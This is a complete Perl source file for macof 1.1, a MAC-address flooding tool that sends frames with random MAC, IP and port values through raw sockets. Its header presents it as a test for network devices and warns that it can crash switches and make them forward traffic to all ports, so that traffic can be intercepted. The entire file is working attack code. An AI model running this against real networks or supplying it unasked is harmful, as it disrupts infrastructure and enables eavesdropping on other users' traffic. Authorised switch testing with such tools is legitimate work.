#!/usr/bin/perl -w
#
# macof v. 1.1
# By Ian Vitek ( ian.vitek@infosec.se )
# Tests network devices by flooding local network with MAC-addresses.
# 
# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./macof -e <mac_of_def_gate> -n 1000000
#          ./macof -r -n 1000000
#          (run it several times)
#
# Warning: This program could cause problems on your network.
#          This program could hang, crash or reboot network devices.
#          Switches could start sending packages to all ports making it
#          possible to intercept network trafic.
#          
#
require 'getopts.pl';
use Net::RawIP;
Getopts('hvrs:e:d:x:y:i:n:');

sub GenMAC
{
  my $tmp_mac="00";
  my $i=0;
# generate random mac-address
  while($i++ < 5) {
    $tmp_mac.=":" . sprintf("%x",int rand 16);
    $tmp_mac.=sprintf("%x",int rand 16);
  }
  return($tmp_mac);
}

$a = new Net::RawIP;

die "usage: $0 [options]\
\t-d dest_host\t\t(def:random)\
\t-s source_host\t\t(def:random)\
\t-v \t\t\tprints generated mac-addresses\
\t-r | -e dest_mac \trandomize or set destination mac address\
\t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\
\t-x source_port\t\t(def:random)\
\t-y dest_port \t\t(def:random)\
\t-i interface \t\tset sending interface \t\t(def:eth0)\
\t-n times\t\tset number of times to send \t(def:1)\
\t-h this help\n" unless ( !$opt_h && !($opt_r && $opt_e) );

# set default values
$opt_i=eth0 unless $opt_i;
$opt_n=1 unless $opt_n;
$s_host=$opt_s if $opt_s;
$d_host=$opt_d if $opt_d;
$s_port=$opt_x if $opt_x;
$d_port=$opt_y if $opt_y;

# choose network card
if($opt_e) {
  $a->ethnew($opt_i, dest => $opt_e);
} else {
  $a->ethnew($opt_i);
}

# Loop
for($times=0; $times < $opt_n; $times++) {
# Check if one or two mac-addresses should be generated
  $mac=&GenMAC;
  if($opt_r) {
    $d_mac=&GenMAC;
    print "$d_mac \t$mac\n" if($opt_v);
#   set mac-addresses
    $a->ethset(source => $mac, dest => $d_mac);
  } else {
    print "$mac\n" if($opt_v);
#   set mac-address
    $a->ethset(source => $mac);
  }
# generate random source and destination ip-addresses
  $s_host=17000000+int rand 4261000000 unless $opt_s;
  $d_host=17000000+int rand 4261000000 unless $opt_d;
# generate random source and dest ports
  $s_port=int rand 65535 unless $opt_x;
  $d_port=int rand 65535 unless $opt_y;
# set network package
  $a->set({ip => {saddr => $s_host, daddr => $d_host},
           tcp => {source => $s_port, dest => $d_port}
          });
# send
  $a->ethsend;
}